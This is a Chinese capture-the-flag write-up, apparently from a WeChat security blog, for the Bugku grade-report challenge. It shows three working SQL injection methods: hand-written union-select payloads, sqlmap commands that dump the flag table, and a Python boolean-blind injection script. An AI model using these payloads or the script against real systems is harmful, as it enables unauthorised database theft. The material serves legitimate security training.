http://x.x.x.x:8002/chengjidan/
注入三种方法:手动sql注入、sqlmap注入(post方式)、python脚本注入
(1) 手动注入
a.找漏洞
输入1,2,3 均显示成绩
输入-1’ or 1=1# 同样显示成绩,证明存在注入漏洞
输入1'返回异常,输入1'--+返回异常,输入1' #或者1’-- +返回正常,看来过滤了--+
观察,表貌似有四列(名字,Math,English,Chinese),输入1' orderby 4#返回正常,输入1' order by 5#返回异常,看来的确是4列
接下来就开始暴库名、表名、字段名
尝试联合查询,记得把前面的查询数据置空,写成id=-1即可,显示正常,说明确确实实存在这四列数据
我们先手遍历一遍 id=-1' unionselect 1,2,3,4#
发现有四个表且都有回显
于是 就开始爆破吧
首先爆库名:通过id=-1'union select 1,2,3,database()#得到数据库名字skctf_flag
b.爆表
然后爆表:通过使用 id=-1' union select 1,2,3,group_concat(table_name) frominformation_schema.tables where table_schema=database()#
c.爆字段
接下来我们就要暴字段了
通过id=-1' union select 1,2,3,group_concat(column_name) frominformation_schema.columns where table_name=0x666c3467# //这里需要用16进制绕过
d.爆破字段值,得到字段skctf_flag
最后就是查询数据了,通过使用:id=-1' union select 1,2,3,skctf_flag from fl4g#
(2) sqlmap注入(bp抓包)
输入1并进行抓包
然后按右键,点击copyto file保存文件,这里我保存到了C盘 333.txt。
然后打开sqlmap开始爆库:sqlmap.py -r “C:333.txt” -p id –current-db
-r –> 加载一个文件
-p –>指定参数
–current-db –>获取当前数据库名称(current前有两个-)
可以看到它的数据库为‘skctf_flag’,接着就是爆表
sqlmap.py -r “C:333.txt” -p id -D skctf_flag - -tables
-D –>指定数据库名称
–tables –>列出数据库中的表(tables前有两个-)
可以看到当前数据库中有两个表,很明显,flag应该在fl4g表中,下面就是该爆出表中的字段了
sqlmap.py -r “C:333.txt” -p id -D skctf_flag -T fl4g –columns
-T –>指定表名称
–columns –>列出表中的字段
fl4g表中有一个名为skctf_flag字段,最后列出字段信息就可以啦。
sqlmap.py -r “c:333.txt” -p id -D skctf_flag -T fl4g -C skctf_flag –dump
–dump –>列出字段数据(dump前有两个-)
(3) python sql盲注
通过构造id=1'and 1=1#或返回成绩,id=1'and 1=2#不会返回成绩。可以肯定这道题可以利用布尔盲注
脚本
# -*- coding:utf-8 -*-
import requests
import re
url = "http://120.24.86.145:8002/chengjidan/index.php"
base_payload = "1' and if(ascii(substr({data},{len},1))>{number},1,0)#" #if(prep1.prep2,prep3) 若表达式prep1为真,则返回prep2,若prep1为假,则返回prep3
#base_payload = "1' and if(ascii(substr(select table_name from information_schema.tables where table_name=database() limit 0,1)>{num},{len},1),1,0)#"
#payload = "database()" #skctf_flag
#payload = "(select table_name from information_schema.tables where table_schema=database() limit 0,1)" #fl4g
#payload = "(select column_name from information_schema.columns where table_name='fl4g' limit 0,1)" #skctf_flag
payload = "(select skctf_flag from fl4g limit 0,1)"
information=""
for m in range(1,50):
for i in range(32,129):
post_data = {"id":base_payload.format(data = payload,len = m,number=i)}
r = requests.post(url,post_data)
resultarr = re.findall(r"<td>(.+?)<td>",r.text)
result = ''.join(resultarr)
#print result
#print r.text
#print post_data
if '60' not in result:
information += chr(i)
break
print information
payload从上倒下依次是为了得到数据库名字,flag表名,flag字段名,flag
爆破数据库名
爆破表名
爆破flag字段名
爆破flag
本文始发于微信公众号(Hacking黑白红):【信息安全学习系列】-bugku成绩单(三种注入方法:手动注入、sqlmap注入、python盲注)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论